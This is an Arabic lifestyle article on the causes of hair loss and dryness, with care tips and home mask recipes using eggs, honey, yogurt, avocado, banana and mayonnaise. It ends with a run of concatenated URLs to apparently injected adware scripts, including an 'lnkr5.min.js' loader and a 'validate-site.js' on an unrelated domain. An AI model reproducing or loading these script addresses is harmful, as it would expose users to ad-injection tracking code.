تساقط الشعر وجفافه من أكثر المشاكل التى تؤرق الفتيات، وهناك الكثير من الأسباب المؤدية لتساقط الشعر نتيجة نقص الفيتامينات والعناصر الغذائية المهمة، كما أن هناك الكثير من العلاجات المتنوعة لتساقط الشعر وتعويض نقص الفيتامينات .
أبرز أسباب سقوط الشعر وجفافه
1- نقص الحديد
2 -نقص الفيتامينات
3 -استخدام الأدوية مثل أدوية علاج الأورام أو الاكتئاب تؤدى إلى سقوطه.
4 -سقوط الشعر بسبب الحمل والولادة.
5-الافراط في حمامه وتعرضه للمواد الكيماوية
علاج تساقط الشعر وجفافه.
أن أبرز العلاجات للحفاظ على الشعر ومنع سقوطه أو جفافه هى:
1- تسريح الشعر بانتظام.
2 -استخدام شامبو خفيف أقل فى تركيبات المواد الكيماوية.
3 -تدليك فروة الرأس لتحسين الدورة الدموية.
4 -استخدام الزيت المناسب لشعرك بانتظام .
5 -تجنب الفرشاة أو تمشيط الشعر كثيرا.
6 -الحصول على أمشاط ذات نوعية جيدة ناعمة وخفيفة على فروة الرأس والشعر .
7 -تناول الفيتامينات والبروتينات الضرورية لنمو الشعر المناسب .
8 -وقف استخدام مجففات الشعر من السشوار والمكواة أو صبغات الشعر.
9 -الحفاظ على ارتداء وشاح أو غطاء لحمايته من الشمس الحارقة والرياح القوية.
علاج تقصف الشعر وجفافه من خلال الوصفات المنزلية.
- وصفة صفار البيض والماء
يعد صفار البيض علاجاً فعالاً للشعر الجاف، فهو مفيدٌ في ترطيب أطراف الشّعر، وفيما يلي طريقة تحضير هذه الوصفة:
المكّونات:
1-صفار بيضتين.
2- 3 ملاعق كبيرة من الماء.
طريقة التّحضير:
1- نقوم بفصل صفار البيضتين عن بياضهما وإضافة 3 ملاعق كبيرة من الماء، وخلطهما مع الصفّار حتى نحصل على مزيجٍ رغوي. 2- بعدها نقوم بوضعه على الشّعر لمدة 30 دقيقة، ثمّ غسله بالماء البارد.
- وصفة البيض والعسل واللبن
يحتوي صفار البيض على البروتينات والدهون المرطّبة للشعر، كما يحتوي بياض البيض على إنزيمات تزيل البكتيريا التي تزيل الزيوت غير المرغوب بها، ويساعد اللبن على تقوية الشّعر من جذوره، وطريقة هذه الوصفة هي:
المكّونات:
1- بيضتانّ.
2- ملعقة كبيرة من العسل.
3- ملعقتان كبيرتانّ من لبن الزبادي.
طريقة التّحضير:
1- نقوم بخلط البيضتين مع بعضهما البعض في وعاءٍ، ثم يضاف العسل واللبن، ومزجهما جيداً حتى نحصل على خليط ناعم.
2- يوضع المزيج على الشّعر لمدة 20 دقيقة على الأقل، ثم يُغسل الشّعر بالماء البارد.
- وصفة الأفوكادو والموز
يساعد الأفوكادو في ترطيب الشعر، بينما يزيد الموز من مرونة وقوّة أطراف الشعر، وطريقة هذه الوصفة هي:
المكّونات:
1- موزة واحدة.
2- حبة أفوكادو.
طريقة التّحضير:
1- نقوم بهرس الموزة والأفوكادو جيّداً حتى نحصل على خليط خالِ من الحبيبات الكبيرة، ثمّ نقوم بوضعه على الشعر لمدة 30 دقيقة على الأقل.
2- بعدها يُغسل الشّعر بماءٍ بارد أو فاتر.
- المايونيز
يحتوي المايونيز على نسبةٍ كبيرة من البروتين اللازم لجعل الشعر أكثر نعومةً ولمعاناً، وطريقته هي:
المكّونات:
1- واحد من المايونيز.
2- يفضل أضافة الزيوت للمايونيز أي نوع متواجد لديكي”زيت جوز الهند، الخروع،وغيره”.
طريقة التّحضير:
1- يتم وضع طبقة سميكة من المايونيز المضاف له الزيت على شعرٍ قليل الرطوبة وعلى فروة الرأس.
2- ثم تدليك فروة الرأس به وصولاً لأطراف الشعر.
3-يغطى الرأس بغطاءٍ بلاستيكي لمدة ساعةٍ واحدة.
4- بعدها يتم غسل الشعر بماءٍ فاتر، ثم يوضع الشامبو كالعادة.
5- تكرر هذه الوصفة أسبوعياً لترطيب الشعر الجاف.
http://dataprovider.website/optout/set/lat?jsonp=__twb_cb_488174464&key=1b3841484e394c4130&cv=1528125533&t=1528125533728http://dataprovider.website/optout/set/lt?jsonp=__twb_cb_578302324&key=1b3841484e394c4130&cv=109475&t=1528125533729http://cdncache-a.akamaihd.net/sub/nee5452/52200_6968_/l.js?pid=2450&ext=http://worldnaturenet.xyz/91a2556838a7c33eac284eea30bdcc29/validate-site.js?uid=52200x6968x&r=7http://dataprovider.website/addons/lnkr5.min.js
